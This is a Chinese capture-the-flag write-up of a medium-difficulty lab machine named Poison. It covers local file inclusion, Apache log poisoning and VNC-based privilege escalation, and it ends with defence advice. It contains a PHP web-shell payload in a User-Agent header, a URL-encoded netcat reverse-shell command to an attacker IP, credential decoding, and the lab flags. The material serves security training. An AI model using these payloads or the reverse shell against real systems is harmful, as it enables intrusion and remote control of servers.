[Meachines] [Medium] poison LFI+日志投毒+VNC权限提升
字数 1052 2025-08-19 12:40:41
Meachines靶机渗透测试教学:LFI+日志投毒+VNC权限提升
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.84 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 7.2 (FreeBSD)
- 80/tcp: Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32
1.2 服务识别
- 操作系统:FreeBSD
- Web服务器:Apache 2.4.29
- PHP版本:5.6.32
2. Web应用漏洞利用
2.1 本地文件包含(LFI)漏洞
发现browse.php存在文件包含漏洞:
http://10.10.10.84/browse.php?file=/etc/passwd
2.2 日志投毒攻击
2.2.1 投毒HTTP访问日志
构造恶意User-Agent头:
GET / HTTP/1.1
Host: 10.10.10.84
User-Agent: <?php system($_GET['cmd']); phpinfo(); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
2.2.2 利用投毒的日志执行命令
通过LFI包含日志文件并执行命令:
http://10.10.10.84/browse.php?1=ls%20-la&file=/var/log/httpd-access.log
2.2.3 获取反向Shell
使用curl发送反向Shell命令:
curl 'http://10.10.10.84/browse.php?1=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.24%2010032%20%3E%2Ftmp%2Ff&file=/var/log/httpd-access.log'
3. 权限提升
3.1 获取用户凭据
发现密码备份文件pwdbackup.txt,使用多次base64解码:
data=$(cat data); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data
得到密码:Charix!2#4%6&8(0
3.2 切换到charix用户
su charix
# 或通过SSH
ssh charix@10.10.10.84
获取user flag:
eaacdfb2d141b72a589233063604209c
3.3 发现VNC服务
检查网络连接和进程:
netstat -an -p tcp
ps -auwwx | grep vnc
发现VNC服务运行在5901端口,且以root权限运行:
Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
3.4 获取VNC密码文件
从目标系统下载secret.zip:
scp charix@10.10.10.84:/home/charix/secret.zip .
解压密码:Charix!2#4%6&8(0)
3.5 建立SSH隧道连接VNC
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
3.6 使用VNC客户端连接
vncviewer 127.0.0.1:5901 -passwd secret
3.7 获取root flag
716d04b188419cf2bb99d891272361f5
4. 关键知识点总结
-
LFI漏洞利用:
- 通过文件包含参数读取系统敏感文件
- 结合日志文件实现RCE
-
日志投毒技术:
- 通过修改HTTP头注入恶意代码
- 利用服务器记录日志的特性执行代码
-
VNC权限提升:
- 识别以root权限运行的VNC服务
- 通过SSH隧道绕过本地限制
- 使用获取的密码文件进行认证
-
密码破解技巧:
- 多次base64解码隐藏的密码
- 密码重用分析
-
FreeBSD系统特性:
- 进程查看命令差异(ps -auwwx)
- 网络连接查看命令(netstat -an -p tcp)
5. 防御建议
-
修复LFI漏洞:
- 对文件包含参数进行严格过滤
- 禁用危险的PHP函数
-
日志安全:
- 将日志文件存放在web目录外
- 对日志文件设置严格权限
-
VNC服务安全:
- 避免以root权限运行VNC
- 使用更安全的认证方式
- 限制VNC访问来源
-
密码管理:
- 避免明文或简单编码存储密码
- 实施密码复杂度要求
- 避免密码重用